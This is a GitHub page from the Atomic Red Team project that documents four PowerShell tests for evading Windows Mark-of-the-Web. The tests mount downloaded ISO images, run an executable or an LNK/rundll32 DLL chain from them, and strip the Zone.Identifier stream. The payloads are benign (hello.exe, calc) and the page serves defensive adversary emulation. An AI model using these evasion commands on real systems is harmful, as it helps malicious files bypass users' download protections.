

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork

2.8k

Star

9.7k

<> Code

Issues

6

Pull requests

5

Actions

Wiki

Security

Insights

atomic-red-team / atomics / T1553.005 / T1553.005.md

History

Files

0f229c0

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

atomic-red-team / atomics / T1553.005 / T1553.005.md

↑ Top

PreviewCodeBlame

229 lines (137 loc) · 8.34 KB

RawCopyDownloadMenu

• [Atomic Test #2 - Mount an ISO image and run executable from the ISO](#)


































• [Atomic Test #3 - Remove the Zone.Identifier alternate data stream](#)

• [Atomic Test #4 - Execute LNK file from ISO](#)

Atomic Test #1 - Mount ISO image

Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: <https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/>

Page 1 of 4

- >  T1003.006
- >  T1003.007
- >  T1003.008
- >  T1003
- >  T1006
- >  T1007
- >  T1010
- >  T1012
- >  T1014
- >  T1016
- >  T1018
- >  T1020
- >  T1021.001
- >  T1021.002
- >  T1021.003
- >  T1021.006
- >  T1027.001
- >  T1027.002
- >  T1027.004
- >  T1027.006
- >  T1027
- >  T1030
- >  T1033
- >  T1036.003
- >  T1036.004
- >  T1036.005
- >  T1036.006
- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039

Supported Platforms: Windows

auto\_generated\_guid: 002cca30-4778-4891-878a-aaffcfa502fa

Inputs:

Name	Description	Type	Default Value
path_of_iso	Path to ISO file	path	PathToAtomicsFolder\T1553.005\bin\T1553.005.is

Attack Commands: Run with powershell !

```
Mount-DiskImage -ImagePath "#{path_of_iso}"
```

Cleanup Commands:

```
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
```

Dependencies: Run with powershell !

Description: T1553.005.iso must exist on disk at specified location (#{path\_of\_iso})

Check Prereq Commands:

```
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-r
```

## Atomic Test #2 - Mount an ISO image and run executable from the ISO

Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". ISO provided by:<https://twitter.com/mattifestation/status/1398323532988399620>  
Reference:<https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/>,

Supported Platforms: Windows

auto\_generated\_guid: 42f22b00-0242-4afc-a61b-0da05041f9cc

Inputs:

Name	Description	Type	Default Value
path_of_iso	Path to ISO file	path	PathToAtomicsFolder\T1553.005\bin\FeelTheBurn

Attack Commands: Run with powershell !

```
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access Rea
$keep = Get-Volume -FileSystemLabel "TestIso"
```

```
$driveLetter = ($keep | Get-Volume).DriveLetter
invoke-item "$($driveLetter):\hello.exe"
```

Cleanup Commands:

```
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
Stop-process -name "hello" -Force -ErrorAction ignore
```



Dependencies: Run with powershell!

Description: FeelTheBurn.iso must exist on disk at specified location (#{path\_of\_iso})

Check Prereq Commands:

```
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}
```



Get Prereq Commands:

```
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-r
```



## Atomic Test #3 - Remove the Zone.Identifier alternate data stream

Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet. Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.

Supported Platforms: Windows

auto\_generated\_guid: 64b12afc-18b8-4d3f-9eab-7f6cae7c73f9

Inputs:

Name	Description	Type	Default Value
file_to_download	File that will be downloaded to test against.	url	<a href="https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md">https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/README.md</a>
file_path	File to have the Zone.Identifier removed.	string	\$env:tmp\ReadMe.md

Attack Commands: Run with powershell!

```
Unblock-File -Path #{file_path}
```



Cleanup Commands:

```
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTran
```



Dependencies: Run with powershell!

Description: A test file with the Zone.Identifier attribute must be present.

Check Prereq Commands:

```
if (Test-Path #{file_path}) { EXIT 0 } else { EXIT 1 }
```

Get Prereq Commands:

```
Invoke-WebRequest #{file_to_download} -OutFile #{file_path}
Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTran
```

## Atomic Test #4 - Execute LNK file from ISO

Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.

Supported Platforms: Windows

auto\_generated\_guid: c2587b8d-743d-4985-aa50-c83394eae68

Inputs:

Name	Description	Type	Default Value
path_of_iso	Path to ISO file	path	PathToAtomicsFolder\T1553.005\bin\AllTheThings

Attack Commands: Run with powershell!

```
Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access Rea
$keep = Get-Volume -FileSystemLabel "AllTheThings"
$driveLetter = ($keep | Get-Volume).DriveLetter
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08af
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk
```

Cleanup Commands:

```
Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
```

Dependencies: Run with powershell!

Description: AllTheThings.iso must exist on disk at specified location (#{path\_of\_iso})

Check Prereq Commands:

```
if (Test-Path #{path_of_iso}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory (split-path #{path_of_iso}) -ErrorAction ignore
Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-r
```